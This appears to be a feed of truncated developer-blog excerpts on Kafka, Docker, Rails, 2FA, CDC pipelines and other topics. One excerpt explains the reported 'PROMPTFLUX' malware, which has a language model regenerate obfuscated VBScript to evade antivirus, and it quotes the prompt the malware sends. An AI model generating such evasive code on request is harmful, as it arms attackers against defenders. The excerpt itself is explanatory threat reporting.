    Building COBRA - a COBOL Banking Resilience Agent that parses legacy code and generates AWS infrastructure, powered by Kiro's systematic approach to AI-assisted development" Banks worldwide run on billions of lines of COBOL code written decades ago. Complete rewrites are risky and expensive, yet modernization is essential. I set out to build COBRA (COBOL Banking Resilience Agent)—an AI system that analyzes legacy COBOL and generates modern AWS infrastructure. The twist? I built it entirely with Kiro, and the experience completely changed how I approach complex software development. COBRA is an agentic AI orchestration system that: Parses COBOL-85/2002 source code and generates Abstract Syntax Trees Recognizes banking patterns (interest calculations, transaction posting, batch processing) G…  ( 10 min )
    Undestanding Kafka Lag, Why It Happens and How To Fix It.
    Apache Kafka is a distributed streaming platform designed for handling real-time data feeds with high throughput and low latency. It's widely used for building data pipelines, streaming applications, and event-driven architectures. However, one common challenge in Kafka ecosystems is "consumer lag," which can disrupt the timeliness of data processing and lead to bottlenecks in your system. Kafka consumer lag refers to the difference between the latest message offset in a partition (produced by producers) and the offset that a consumer has processed. In simple terms, it's a measure of how far behind a consumer is in reading messages from a topic. Lag = Latest Offset - Consumer Offset A small amount of lag is normal in high-volume systems, but excessive lag can indicate performance issues, …  ( 8 min )
    node-exporter install (dedicated user, no package)
    See the latest version, and correct CPU architecture over at https://github.com/prometheus/node_exporter/releases/latest # grab latest release EXAMPLE: # wget https://github.com/prometheus/node_exporter/releases/download/v1.10.2/node_exporter-1.10.2.linux-amd64.tar.gz tar -xf node_exporter-1.10.2.linux-amd64.tar.gz cd node_exporter-1.10.2.linux-amd64/ ls ./node_exporter # see if it works sudo groupadd --system node_exporter sudo useradd -s /sbin/nologin --system -g node_exporter node_exporter sudo cp node_exporter /usr/bin/ sudo chown node_exporter:node_exporter /usr/bin/node_exporter nano /usr/lib/systemd/system/node_exporter.service you can use either /usr/lib/systemd/system/ but i'll go with [Unit] Description=Node Exporter Documentation=https://prometheus.io/docs/guides/node-exporter/ Wants=network-online.target After=network-online.target [Service] User=node_exporter Group=node_exporter Type=simple Restart=on-failure ExecStart=/usr/bin/node_exporter [Install] WantedBy=multi-user.target sudo chmod 664 /usr/lib/systemd/system/node_exporter.service sudo systemctl daemon-reload sudo systemctl enable node_exporter sudo systemctl start node_exporter see http:// :9100/metrics  ( 6 min )
    How to create QR based 2fa system in Node.js (step-by-step)
    Two-factor authentication (2FA) adds an extra layer of security to your apps. In this guide, we’ll use express and auth-verify, a Node.js library, to implement TOTP (Time-based One-Time Password) compatible with Google Authenticator. We’ll cover: Generating a TOTP secret Creating a QR code for users Verifying user-entered codes We should install all necessary packages from NPM. npm install express path auth-verify Our file structure should be like this: ├── server.js └── public/ ├── index.html We should setup all necessary packages to server.js. const express = require("express"); const path = require("path"); const AuthVerify = require("auth-verify"); const app = express(); const PORT = 3000; app.use(express.static(path.join(__dirname, 'public'))); const auth = new AuthVerify(); …  ( 8 min )
    Unlocking Revenue: How Monetzly Transforms AI App Monetization for Developers
    What If Your AI App Could Generate Revenue in Two Ways Simultaneously? Imagine a world where your AI application not only provides value to users but also generates revenue in two distinct ways. The rise of AI applications has been meteoric, but the challenge remains: how do we monetize these tools without compromising user experience? Enter Monetzly—the first platform that allows developers to earn from their apps while simultaneously hosting relevant ads. With Monetzly, you can tap into a dual-earning model that transforms the way developers approach monetization. You’re not just selling your app; you’re also creating a revenue stream by hosting conversation-native advertisements that enhance the user experience. Monetize Without Paywalls: Traditional models often force users to subs…  ( 7 min )
    Effective Prompting for Generative Vision Models
    It’s likely that you’ve used a vision model to generate an image recently, but ended up with somewhat questionable results. You might have blamed this on the model not working correctly (and maybe that’s true), but it could also be because you didn’t give it the proper instructions. A vision model will only create what it’s asked to, and how you ask matters. Prompting isn’t just about describing what you see; it’s about guiding the model so it interprets your request correctly. Just one word can sometimes double its accuracy. In this blog, we’ll cover the key principles for prompting your vision models more effectively, from good practices to the nuances of different use cases. Whether you’re a developer, designer, marketer, or beginner, this guide will help you achieve the results you’re …  ( 9 min )
    What's actually slow? A practical guide to Rails performance
    For the last couple of months, we’ve been building an observability tool that we intend to use internally in our AI-powered solutions. One of the features we wanted to work on was slow action detection, but… What makes an action slow? It’s one of those questions that sounds simple but gets interesting fast. Let’s break it down. When a request hits your Rails app and a response goes back, that total time is just a portion of what users experience. Server response time is crucial, but it’s only one piece of perceived performance: Network round-trip matters. Your app might respond in 100ms, but if the user is on a slow connection or geographically far from your server, they might wait 500ms for the round-trip. A fast server doesn’t fix slow networks. Download and rendering matter. Once the HT…  ( 10 min )
    You Can't Unbake a Cake (or Why Data Isolation in the Age of AI is BASICALLY Impossible)
    Legislators across the globe want your data removed from AI models. The EU's "right to be forgotten" under GDPR Article 17, California's CCPA, a dozen other privacy frameworks—all built on the assumption that stored data works like filing cabinets. Find your folder, pull it out, done. Except neural networks don't store data. They bake it into something fundamentally different. Try extracting one cup of flour from a finished cake. That's what we're asking AI companies to do. And when you peel back the surface, that's effectively impossible. You start with ingredients (input data), run them through a series of cooking steps (hidden layers), and get a finished dish (output). A network that recognizes handwritten digits takes pixel values as ingredients and produces "this is a 3" as the outp…  ( 13 min )
    Building a Producer–Consumer Pipeline in Go Using Goroutines and Channels
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building *one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet. When working with large volumes of SVG files, processing them in parallel while writing their metadata into SQLite can be challenging. SQLite provides strong transactional guarantees, but it allows only one writer at a time. If multiple goroutines write concurrently, the database becomes a bottleneck, producing contention, slowdowns, or lock timeouts. To address this constraint, I implemented a producer–consumer pattern in Go. The design dedicates multiple CPU cores to heavy CPU-bound work—SVG processing—and isolates all database wr…  ( 8 min )
    The 9 Best Web Hosting Deals for 2025: Black Friday Discounts Are Live
    Are you ready to launch a new website or looking to switch providers for better performance and savings? The annual Black Friday and Cyber Monday sales period is the absolute best time to secure top-tier web hosting at massive discounts. With savings reaching up to 85-90% off, you can lock in low rates for years to come. We’ve compiled the official, time-limited Black Friday and Cyber Monday deals from the industry's leading hosting providers for 2025. Don't wait—these deals are live now and will expire soon. Disclosure: This post contains affiliate links. Here is a quick glance at the nine best web hosting deals currently available: Hostinger: Up to 83% discount + Free Domain. Excellent value, includes AI tools, and 24/7 support. Bluehost: Up to 62% discount + Free Domain. Best for beginn…  ( 8 min )
    My Learnings from Day 1a & 1b of the Google AI Agents Intensive
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    The Great Multimedia Steganography Debugging Saga: When Three Bugs Walk Into a Bar (And One Was Pretending to Be Lossless)
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    The Domestic Turn of Information Warfare: When Democracies Target Their Own Minds
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    Hacktoberfest 2025
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    Week 8: Routing, Lazy Loading and more in React!🎨
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    Braum’s Breakfast Menu
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    How I Built a Real-Time Stock Suggestion App with the MERN Stack, WebSockets, and Algorithmic Trading Logic ?
    Web Application Link Finance and tech are converging faster than ever. As developers, we have the tools to build incredibly powerful applications that demystify market data. I set out to do just that: build a full-stack web application that not only tracks stock data but also provides actionable, AI-driven suggestions in real-time. This article is a technical deep-dive into the architecture and key features of my Stock Suggestion App. We'll cover the "AI" backend, the real-time WebSocket layer, and how it all connects to a resilient React frontend. The Tech Stack 🥞 1.Frontend: React 18, Vite, React Router 7, Tailwind CSS, Framer Motion. The app is broken down into three core components: the "AI" Signal Service, the Real-time Data Hub, and the Reactive Frontend. 1. The "Brain": Algorithmic…  ( 9 min )
    Take a look at the article - it explains about how plotly transforms charts
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    Fix Common Smart Fridge Issues: A Step-by-Step DIY Tutorial
    So, you invested in a state-of-the-art smart refrigerator, a marvel of modern kitchen technology. It tells you the weather, streams music, and maybe even orders groceries. But what happens when your brilliant appliance starts acting... well, not so smart? A frozen touchscreen or a stubborn refusal to connect to Wi-Fi can turn your futuristic dream into a frustrating reality. Don't call for an expensive repair just yet! As an appliance technician, I can tell you that many common smart fridge issues are surprisingly easy to fix yourself. This guide is here to walk you through troubleshooting the most frequent glitches, empowering you to take control and get your fridge back to its brilliant best. Before you even think about picking up a tool, let’s go over the essential safety rules. Your we…  ( 9 min )
    All Data and AI Weekly #215: 10 November 2025
    All Data and AI Weekly ( AI, Data, NiFi, Iceberg, Polaris, Streamlit, Flink, Kafka, Python, Java, SQL, MCP, LLM, RAG, Cortex AI, AISQL, Search, Unstructured Data ) #215: 10 November 2025 https://www.reddit.com/r/DataEngineeringForAI/hot/ https://lu.ma/PINSAI This week was dominated by a wave of major announcements from Snowflake BUILD 2025. The central theme is clear: the rapid integration of agentic AI, advanced developer tools, and more open data pipelines directly into the enterprise data stack. In This Issue: The Big Story: Snowflake BUILD 2025 & The Rise of Enterprise AI AI Deep Dive: Cortex Agents, AI-SQL, and Audio/Video Data Engineering: Openflow, Postgres Integration, and New Pipelines Developer Focus: Well-Architected Framework & New Dev Tools …  ( 8 min )
    I Built a URL Metadata API After Wasting Days on Manual Scraping
    The Problem That Wouldn't Go Away I was building a bookmark manager (because apparently that's what developers do when they can't find the perfect one). Everything was going smoothly until I hit the "add bookmark" feature. Users paste a URL, and I needed to show them a nice preview card with: Title Description Image Favicon Simple, right? Wrong. Started with Python and BeautifulSoup. Wrote some code to fetch HTML and parse meta tags: from bs4 import BeautifulSoup import requests def get_metadata(url): response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') title = soup.find('meta', property='og:title') description = soup.find('meta', property='og:description') image = soup.find('meta', property='og:image') return { 'title': titl…  ( 9 min )
    AI vs. AI: How Google's 'PROMPTFLUX' Malware Rewrites Itself (And How 'Big Sleep' Fights Back)
    We thought polymorphic malware was bad. Now, we're seeing something new: "Generative Malware" that leverages LLMs. Google recently detailed an experimental threat called PROMPTFLUX. As developers, the technical details are both terrifying and fascinating. 👾 How PROMPTFLUX Works (The Attack) It's deceptively simple, which is what makes it scary. Base Language: VBScript. Mechanism: The script contains a hard-coded API key. Execution: When run, it calls an LLM API (the report mentioned Gemini 1.5 Flash). The Prompt: It sends a prompt like, "Act as an expert VBScript developer. Create obfuscated code to help evade antivirus detection." The Result: A brand-new, malicious script is generated "just-in-time." Every time it runs, it can be completely different, rendering signature-based detec…  ( 7 min )
    When the mv Command “Loses” Your File in Linux — What Really Happened🚀
    Have you ever used the Linux terminal to move a file with mv and then realized the file vanished? 😱 Don’t worry — your file isn’t gone. It’s just not where you thought it would be. Let’s dive into what actually happens when the mv command “loses” your file — and how to avoid this in the future. You’re working inside this directory: /var/www/project/config/ And you run: mv ssl_key.pem /backup You expect your file to move into: /var/www/project/config/backup/ssl_key.pem But when you check… It’s not there! 😨 ⚙️ The Root Cause: Absolute vs. Relative Paths Absolute Path - /backup Starts from the root (/) of the system So when you type: mv ssl_key.pem /backup Linux looks for a folder named /backup at the root of the system, not inside your current folder. Your file actually ends up here: /backup/ssl_key.pem 💡 Totally different location! 🤔 What If /backup Doesn’t Exist? So ssl_key.pem becomes a new file named /backup, sitting in your root directory. Yup — your file was just renamed, not moved. 🧭 How to Find the “Lost” File ls -ld /backup Now check the output: If it starts with d (like drwxr-xr-x), /backup is a directory, and your file is inside it. ls -l /backup/ If it starts with - (like -rw-r--r--), /backup is a file, not a folder — your original file was renamed to /backup. ✅ The Right Way to Move It mv ssl_key.pem backup/ or, even safer: mv ./ssl_key.pem ./backup/ Notice there’s no leading slash — that’s what makes it relative to your current directory. 🧠 Always Know Where You Are pwd It shows your “present working directory,” helping you understand where a relative path will lead. 🧹 Recovering the File # Case 1: File was renamed to /backup mv /backup /var/www/project/config/ssl_key.pem # Case 2: File is inside /backup/ mv /backup/ssl_key.pem /var/www/project/config/ ✨ Final Thoughts Next time you move files, pause for a second and check your path. That little detail can save you from hours of “where did my file go?” debugging. 🧠🐧  ( 7 min )
    From Pandas in Python to TabularData in Swift for Data Exploration
    I have used Python for over ten years. Most of that time I built software and automation tools. In the last few months I started working with data science. The tools in Python for data work are excellent. Libraries like Pandas, NumPy and Matplotlib let me load, clean and show data in just a few lines of code. At the same time I have written Swift code for Apple platforms for many years. I created server applications and iOS projects. Swift feels clean, modern and safe. But when I worked with data I missed the fast interactive style that Pandas gives in notebooks. So I asked myself: can I bring some of that data experience into Swift? The answer led me to Apples TabularData framework. It offers a DataFrame that works like Pandas. I also used Swift Playgrounds to run code line by line and …  ( 8 min )
    Cuidado com o que você consome (e com quem você anda)
    Cuidado com o que você consome, com quem você segue e com quem você caminha, isso pode te influenciar positivamente ou negativamente. Hoje em dia, a internet deu voz a todo mundo. E entre tantas vozes, existem aquelas que vão te inspirar a crescer... e outras que vão te empurrar para o caminho da mediocridade, seja profissional ou pessoal. Há um ditado antigo que continua atual: “Diga-me com quem andas e te direi quem és.” Esse ditado vale para a vida, para o ambiente de trabalho e, agora, até para as redes sociais. Quem nunca viu em uma empresa aquele grupo conhecido por espalhar fofocas ou mentiras? Essas atitudes parecem pequenas, mas moldam a forma como pensamos e agimos. molda seu comportamento, e seu comportamento molda sua reputação e seus resultados. Nas redes sociais, a coisa é ai…  ( 8 min )
    How to generate a Dockerfile from the Docker Image
    We always build Docker images from Dockerfile,but in some scenarios when the same Dockerfile got deleted accidentally or when we have the docker image and we are curious to know that how would the Dockerfile for that docker image would look like, then there are some workarounds with which we can get to this goal very close. In this tutorial we will demonstrate one of the work around with which we can reverse the docker image to generate the Dockerfile. Creating a Dockerfile : This is a sample Hello World Dockerfile with which we have created a Docker Image out of it. Dockerfile 2.The above Dockerfile is built and pushed as a docker image in the AWS ECR (Elastic Container Repository) , as below image 3.Now, let us assume that the original Dockerfile is deleted and if we need to recove…  ( 9 min )
    We are Almost at the END of History: The Technological Singularity
    The concept of the technological singularity has fascinated scientists and thinkers for decades. Could we be closer than we think to the point where machines surpass human intelligence? Philosophers and experts like Nick Bostrom and Ray Kurzweil warn that this unimaginable moment might be just a few years away. Let's explore what the technological singularity means, how close we are, the rumors surrounding secret projects, and—most importantly—what could happen next. The singularity is generally described as a point where technology evolves so rapidly and dramatically that it's impossible to predict what comes next. Picture a black hole: its singularity is a place where our understanding breaks down completely. Applied to technology, the singularity is when machines become so advanced and…  ( 7 min )
    Day 30: Python List Merger, Combine Two Lists Manually with Loops
    Welcome to Day 30 of the #80DaysOfChallenges journey! This beginner challenge is about merging two lists into one without built-in operators, relying on loops to append elements one by one. It reinforces list basics, iteration, and manual construction, key for understanding data structures before shortcuts. If you're solidifying loop skills or exploring how lists grow, this "Python merge lists" exercise demonstrates a function that's simple yet illustrative of step-by-step building, easy to modify for interleaving or filtering. This task creates a function that takes two lists, builds a new one by appending from each, and returns it. It's a direct approach to concatenation: init empty, loop add from first, then second. We'll cover the fundamentals: function with new list init, separate loo…  ( 10 min )
    Introduction to Terraform: Automating Your Cloud Infrastructure
    In today’s cloud-driven world, managing infrastructure manually is no longer practical. Developers and DevOps engineers need speed, consistency, and scalability & that’s where Infrastructure as Code (IaC) tools like Terraform come in. Terraform, created by HashiCorp, has become one of the most popular tools for automating infrastructure provisioning across multiple cloud platforms. 🚀 What is Terraform? Terraform is an open-source Infrastructure as Code (IaC) tool that lets you define, provision, and manage your cloud infrastructure using simple configuration files written in HashiCorp Configuration Language (HCL) or JSON. Instead of clicking through a cloud provider’s console, you write code that describes what your infrastructure should look like, and Terraform takes care of how to make …  ( 8 min )
    I just shipped v2.0 of Frontend Master Prep Series — 1,020+ Q&A + 185 coding problems + 600 flashcards
    A few days back, I published a list of 650+ frontend interview questions. That post got attention, feedback, and a surprising amount of messages from developers (both junior and senior) telling me it helped them prep better. But something didn’t feel complete. Because questions alone are not enough. So I continued learning deeply, exploring each topic, facing more interviews, reading docs, breaking code, and then documenting the patterns I found. And that small side note list turned into something else completely. 1,020+ questions with detailed answers 185+ coding problems (each solved step-by-step) 600+ flashcards for fast revision new sections: TypeScript, Security, Testing, Tooling difficulty tags, interview frequency, company tags code examples + common mistakes + time to answer estimates This is no longer “a question bank”. complete frontend mastery system. 📘 Frontend Master Prep Series v2 https://github.com/maurya-sachin/Frontend-Master-Prep-Series Open-source. Free. Well-structured. Most interview prep content online is too shallow. It teaches the what. But senior interviews check the why. Why does React re-render? This project grew because I kept asking that exact question myself. I’m currently working on: a Notion version with progress tracking a PDF cheat sheet for 1-day revision a “Roadmap style” resource guide by topics To be honest — I built this for myself first. But if even one developer somewhere uses this repo and gets more confident before their next interview — If you find this useful — consider giving a ⭐ to the repo. tags: frontend react nextjs javascript typescript webdev career interviewprep learning  ( 7 min )
    My Ongoing Cloud Migration Journey 🚀
    Over the past few months, I’ve been working on one of the most exciting and challenging cloud migration projects of my career, a large-scale transformation initiative between xyz (a global technology consulting firm) and abc (a major telecommunications company). The goal of this project is simple but powerful: to move dozens of critical enterprise applications from on-premises data centers into a secure, scalable, and automated AWS environment without disrupting existing business operations. This is part of a broader modernization program that will allow abc to run its workloads faster, more securely, and more efficiently in the cloud. The migration involves a mix of rehosting, redeploying, and refactoring applications using AWS native tools, Terraform for Infrastructure as Code (IaC), and…  ( 8 min )
    Build in Public (Data Engineering): Day Zero
    It is great to come back to sharing my thoughts on the next line of action I want for my career. At this moment, I want to go all in with data engineering with focus on mastery. Data is critical in this modern time as it has always been. Some social media platforms like LinkedIn and Instagram have made it explicity known that they will be using your data for training if you are comfortable with it. In this data challenge series, I will be going from the basics to the complex to grasp the full concept of what it is to be a data engineer right from ingesting, storing, cleaning, and processing the data. From the brief intro above, data engineers are integral part of the company for maintaining systems that ingest data from both internal or external sources like databases and APIs, store th…  ( 7 min )
    Music Monday
    Music Monday: Outside of Your Bubble Any song you've had on repeat lately? Drop a YouTube, SoundCloud, Bandcamp or Spotify {% embed %} in the comments. Let's discover something new beyond what the algorithms are feeding us. Any genre is welcome! Music taste is subjective, and there's no "good" or "bad" here. Share what you love and include why if you feel like it.  ( 6 min )
    Choosing Your First Smart Devices for Home Assistant
    Introduction So, you've decided to dive into the world of Home Assistant! Congratulations. You're on the path to building a truly private, powerful, and customized smart home that isn't locked into a single corporate ecosystem. But as you stand at the starting line, the sheer number of choices can feel overwhelming. What computer should you run it on? What are Zigbee and Z-Wave? Which smart devices should you even buy first? Don't worry. As a home improvement expert, I know that the best projects start with a solid plan and the right materials. This guide will be your blueprint. We'll cut through the noise and walk you through selecting the perfect core hardware and your first few game-changing smart devices. Before we even think about shopping, let's establish some foundational rules. T…  ( 10 min )
    That one missing HTTP method that broke my whole setup
    Last week, I ran into one of those tricky production bugs where everything looked fine, but Azure Front Door kept throwing a 504 Gateway Timeout. I had a typical production setup: FastAPI app running on port 8000 as a background process (managed via systemd, so it auto-starts on reboot) Nginx working as a reverse proxy, handling all HTTP/HTTPS traffic Everything deployed behind Azure Front Door So the flow looked like this: Frontend → Azure Front Door → Nginx → FastAPI (port 8000) When I tested everything manually: curl http://localhost:8000/health ✅ returned “healthy” Still, Front Door said: “No healthy backends available.” And my frontend just sat there… until it failed with a 504 Gateway Timeout. 😩 While checking my logs, I noticed this repeating line every 30 seconds: INFO: 127.0…  ( 8 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR CinemaSins rips into Thunderbolts (a.k.a. The New Avengers) in true “Everything Wrong With” style, ticking off plot holes, janky CGI and character missteps—all in under 20 minutes—yet can’t help admitting the movie’s got a weird charm. Is it perfect? Far from it. Is it kinda fun? Totally. For more sin-counting madness, head to their website, hop on Discord or Reddit, follow them on social, fill out their polls and even support the team on Patreon for extra behind-the-scenes treats. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators: Caravan of Garbage – TL;DR Mr Sunday Movies’ latest “Caravan of Garbage” dives into 2010’s Predators, praising its return to the franchise’s roots with a rag‐tag group tossed into a muddy jungle showdown. Unlike the uneven Alien vs. Predator spinoffs, this one spikes the action with fresh twists—making it a surprise fan favorite. It’s a shame Hollywood never green-lit a sequel, because this lean, mean Predator reboot had plenty of meat left on the bone. Watch on YouTube  ( 6 min )
    Decoupling Firebase Push Notification Logic with BullMQ - From Synchronous Chaos to Asynchronous Elegance
    How I transformed a monolithic Firebase notification service into a scalable queue-based architecture using NestJS and BullMQ? When your Firebase Cloud Messaging server needs to send notifications to hundreds of thousands of users, the architecture matters more than you think. I learned this the hard way when my synchronous notification API started timing out at scale. Here's how I transformed a blocking, monolithic service into an elegant asynchronous queue-based system using BullMQ. My original implementation followed a simple, intuitive pattern: receive an API request, query the database, filter users, send notifications, save logs—all in a single synchronous flow. For small datasets, this worked fine. For 100,000+ users? Disaster. // firebase.controller.ts - Original synchronous implem…  ( 13 min )
    Specialized Spacecraft Component Fabrication Services: Precision and Reliability
    In the rapidly evolving horizons of the aerospace and space industries, component fabrication is no longer merely a manufacturing step - it is a strategic enabler of mission success. For small- to mid-sized enterprises (SMEs) operating in the space ecosystem, the ability to deliver spacecraft components that meet exacting requirements of performance, durability and manufacturability is what separates the leaders from the followers. Today, with increased competition, tighter budgets, shorter cycles and higher stakes, the demand for fabrication services that can guarantee precision and reliability has never been greater. Historically, large prime contractors dominated fabrication of spacecraft components, including structures, mechanisms, thermal systems and electronics housings. But the mar…  ( 9 min )
    Beyond Pipelines: A Survey of the Paradigm Shift toward Model-Native Agentic AI
    From Pipelines to Self‑Learning: The Rise of Model‑Native Agentic AI Ever wondered if a computer could plan a trip, use a tool, and remember your preferences—all by itself? Scientists have discovered that the newest wave of artificial intelligence is doing just that. reinforcement learning, a trial‑and‑error method that lets the AI learn from outcomes, not just from static examples. Model‑native agentic AI promises everyday tools that grow smarter the more they work, turning gadgets into true partners in our daily lives. Read article comprehensive review in Paperium.net: Beyond Pipelines: A Survey of the Paradigm Shift toward Model-Native Agentic AI 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 24 min )
    🚀 Container Hardening: 12 Essential Rules for Secure and Optimized Docker Builds
    Building containers that are secure, stable, and lean requires diligence in your Dockerfile practices. By reducing the attack surface and leveraging container isolation features, you can significantly enhance the integrity of your deployment pipeline. Here are 12 essential rules for building robust containers, categorized for clarity. Security & Least Privilege These rules minimize the potential damage if a container is compromised. Avoid Running as Root (Principle of Least Privilege) 🧑 By default, container processes run as the root user inside the container. If an attacker gains control of your application, they gain root access within that environment. Practice: Use the USER instruction (USER node or a custom UID/GID) to switch to a non-root user before running your application. An…  ( 8 min )
    MongoDB and Mongoose at a high level
    This blog gives you a high level understanding of what MongoDB and Mongoose are and some basic terminologies you might encounter while working with them. MongoDB is a NoSQL database that lets you store data as “documents”. It is one of the four types of NoSQL databases. Here’s what the hierarchy of MongoDB looks like: Term What is it? Cluster Highest layer in MongoDB. Database Group of collections. Used to group data and setting permissions. Collection A group of related documents which need not follow the same structure. Some can have extra fields and some without them. Document Individual data stored as binary JSON object. This is your actual data. Mongoose is an NPM library that makes it easy for you to connect to any MongoDB cluster and perform CRUD (Create, Read, Update, Delete) operations. Here’s what you need to know to work with Mongoose Term What is it? Cluster Connection The Mongoose Connection (e.g., mongoose.connect()) creates a way for you to communicate with your cluster Schema It defines the structure, types, validation, and defaults for the documents. Created using new mongoose.Schema(). Model A class/constructor compiled from the Schema (mongoose.model()). You will use the model to get data from the Collection. Data (Document) This is the object you create and manipulate in your application. It’s an instance of Model, meaning it’s like the template your data should fit into. It’s crated using const newUser = new User(data). Save Turns the data into a binary JSON object and sends it to your cluster to be written to the Collection in the Database. You’ll use the .save()command to save your document. While this is not extensive, it can serve as a refresher or reference when necessary. Thanks for reading!  ( 8 min )
    The Divide of Interfaces: Fear and Familiarity
    https://github.com/socaltiger/BatchSubmit.com For non-programmers, a programming interface often evokes fear — lines of code, command prompts, and parameter fields seem to whisper: this world is not for you. Programmers, on the other hand, feel the opposite. To them, such an interface feels like home — it speaks their native language, gives them control, and invites them to explore. Ironically, when those same programmers face a sleek but closed web interface, they often hesitate: What’s hidden behind this surface? What can I change? Am I still in control? Thus, the same interface can be a barrier to one person, and a home to another.  ( 6 min )
    Let's Stick to GmailApp Over MailApp in Google Apps Script
    In Google Apps Script (GAS), there are two standard services for sending emails: MailApp and GmailApp. Both features are built-in and can be used immediately in your code without any library setup. As mentioned in the title, when I initially used MailApp to implement an external email notification function for a report, emails to domains outside the organization resulted in bounces. After struggling with this and doing some research, I ultimately just switched to GmailApp, and the emails were sent smoothly. This experience gave me a deeper understanding of MailApp, GmailApp, and the domain authentication mechanism known as DMARC. I'm leaving this as a memorandum for future reference. The features and suggested use cases for the standard GAS email services are as follows. Item MailApp Gm…  ( 10 min )
    How Tokenization is Making Real-World Assets More Accessible
    Owning a piece of a skyscraper in Dubai or a commercial estate in Lagos once required deep pockets, exclusive access, and the right connections. For decades, real assets, real estate, commodities, art, and infrastructure belonged to institutional investors, hedge funds, and the ultra-wealthy. But a quiet transformation is underway. Through tokenization, ownership is being redefined. Real-world assets (RWAs) are being digitized, divided, and distributed to anyone with an internet connection. This shift isn’t just technological; it’s philosophical. It’s about making wealth creation inclusive, liquid, and transparent. Tokenization represents more than a financial innovation; it’s a structural rewrite of accessibility. For all its sophistication, traditional finance has long suffered from excl…  ( 8 min )
    Building a Real-Time Crypto Data Pipeline with Debezium CDC
    I built a crypto data pipeline that streams live Binance prices through PostgreSQL → Debezium → Kafka → Cassandra with sub-second latency. Here's how it works and the gotchas I hit. ┌─────────────┐ │ Binance API │ └──────┬──────┘ │ REST (60s) ▼ ┌──────────────┐ │ Python App │ └──────┬───────┘ │ INSERT ▼ ┌──────────────┐ ┌───────────┐ │ PostgreSQL │─────▶│ Debezium │ │ (WAL) │ └─────┬─────┘ └──────────────┘ │ CDC ▼ ┌───────────┐ │ Kafka │ └─────┬─────┘ │ ▼ ┌─────────────────┐ │ CDC Consumer │ └────────┬────────┘ …  ( 10 min )
    Rewind AI Alternative to Windows You Can Trust
    Rewind AI became popular for offering a way to “rewind” your digital activity and instantly find anything you’ve seen on your Mac. It’s a powerful idea, but the downside is simple: Rewind AI is only available for macOS. Windows users don’t get access to the same experience, and even Mac users often look for a fully private, offline option. If you’re using Windows and looking for a trusted alternative to Rewind AI—one that lets you recall your screen history without putting your data at risk—there are only a few reliable choices. The most privacy-focused and Windows-ready option today is Recall Assist. Rewind AI is polished and intuitive, yet several limitations make users search for something better, especially in the Windows ecosystem: Its entire product line is macOS-exclusive, leaving W…  ( 8 min )
    Modern License Metadata for Python Packages: An Introduction to PEP 639 and SPDX
    As a developer working extensively on license_scanner, I've encountered numerous Python packages with outdated license metadata. Understanding PEP 639 is crucial, as it introduces significant changes to how licenses are managed in Python packages. Key Changes in PEP 639 Python now adheres to the SPDX (Software Package Data Exchange) standard, moving away from using classifiers. The recommended approach is to use only two fields in your pyproject.toml file: license and license_files. license: This field should be a string. license_files: This field can be a string or a list of strings. Choosing the Right License There are numerous licenses available, many with similar names. For example, if a package is published under the "BSD License," it could refer to any of over 30 different BSD licens…  ( 7 min )
    We wanted Her, instead we got Tinder
    We wanted Her, instead we got Tinder AI companies spend 25% of revenue on cloud costs alone, making them less profitable than traditional software businesses. AI companies face 15% additional costs for manual data processing, reducing gross margins compared to software companies. Unlike software scaling, AI models require custom work per client with no significant cost reduction from Moore's Law. Technical differentiation is difficult as data becomes commoditized, forcing AI companies toward expensive sales and marketing. 👉 Read full article  ( 6 min )
    Accelerating AI Agent Development and Deployment Cycles
    TL;DR AI engineers face a dual mandate: ship agentic applications quickly while maintaining reliability, safety, and cost efficiency at scale. The fastest teams operationalize a full lifecycle—experimentation, simulation, evaluation, and observability—so iteration is continuous and gated by objective quality signals. This article maps a practical blueprint, anchored in production-friendly practices and supported by credible references, to help technical teams move from POCs to reliable releases. Trust is the gating factor for AI scale. Executive surveys show skepticism stems from hallucinations, bias, brittle tool use, and unpredictable reasoning paths in agentic systems. Establish evaluation gates that measure task success, safety, and cost to counter these risks. Relevant context: Agent …  ( 9 min )
    How I Reduced My Site’s Browser Memory Usage by 67% (450 MB 150 MB)
    I have successfully reduced the browser memory usage for my simple tutorial site from 450 MB to 150 MB. Here’s what I did: Since I’m using Next.js, I worked with AI to separate which components run on the server and which run on the client. The development server showed incredible improvement, dropping from 1.5 GB to around 200 MB, and in production from 450 MB to 150 MB. svgo.dev is like a Swiss army knife. I use a lot of SVGs on my site, and this tool helped reduce their size, which improved loading speed and saved bandwidth. For static content such as iframes, images, and SVGs, I enabled lazy loading. Whenever possible, I use the WebP format for images. Handle loading embedded iframes, images, audio, ... only when necessary - for example, only when an accordion item is expanded or a tab becomes active. Avoid loading third-party scripts or unnecessary external content. Cloudflare has become one of my best friends about caching and hosting. It costs me $0 to run my site with around 50+ daily users.  ( 6 min )
    SVG
    What is SVG? SVG stands for 'Scalable Vector Graphics' and it is a markup language/file format for describing two-dimensional vector graphics. An SVG is used to define vector-based graphics meaning visual images are created directly from geometric shapes and other graphic primitives in XML rather than as a grid of pixels. Yes, XML not XLM. XLM defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. The SVG specification is an 'open standard' maintained by the World Wide Web Consortium, which is the main international standards organization for the World Wide Web, since 1999. An SVG is perfect for web graphics like icons and logos; it creates images that stay sharp at any size; this makes them ideal for modern web design. Pixel based ima…  ( 7 min )
    Versioning! and Versioning?
    Look, versioning isn't just some administrative checkbox. It's actually how you keep your sanity when building software. Whether you're working with React, React Native, or juggling multiple services, good versioning is what saves you from the "wait, what changed?" moments at 2 AM. Git: Your Project's Memory Think of Git as your project's diary. Every commit tells a story about what you were trying to do and why. When you connect it properly with JIRA (or whatever you use), suddenly your code history becomes readable. Here's what a solid workflow looks like: JIRA Ticket → WEB-214 | Add password validation Why bother? Because: You can actually trace why that line of code exists QA knows exactly what to test When something breaks, you can find the culprit fast Code reviews stay focused inste…  ( 8 min )
    Healthcare Domain Testing Explained: Complete Tutorial with Use Cases
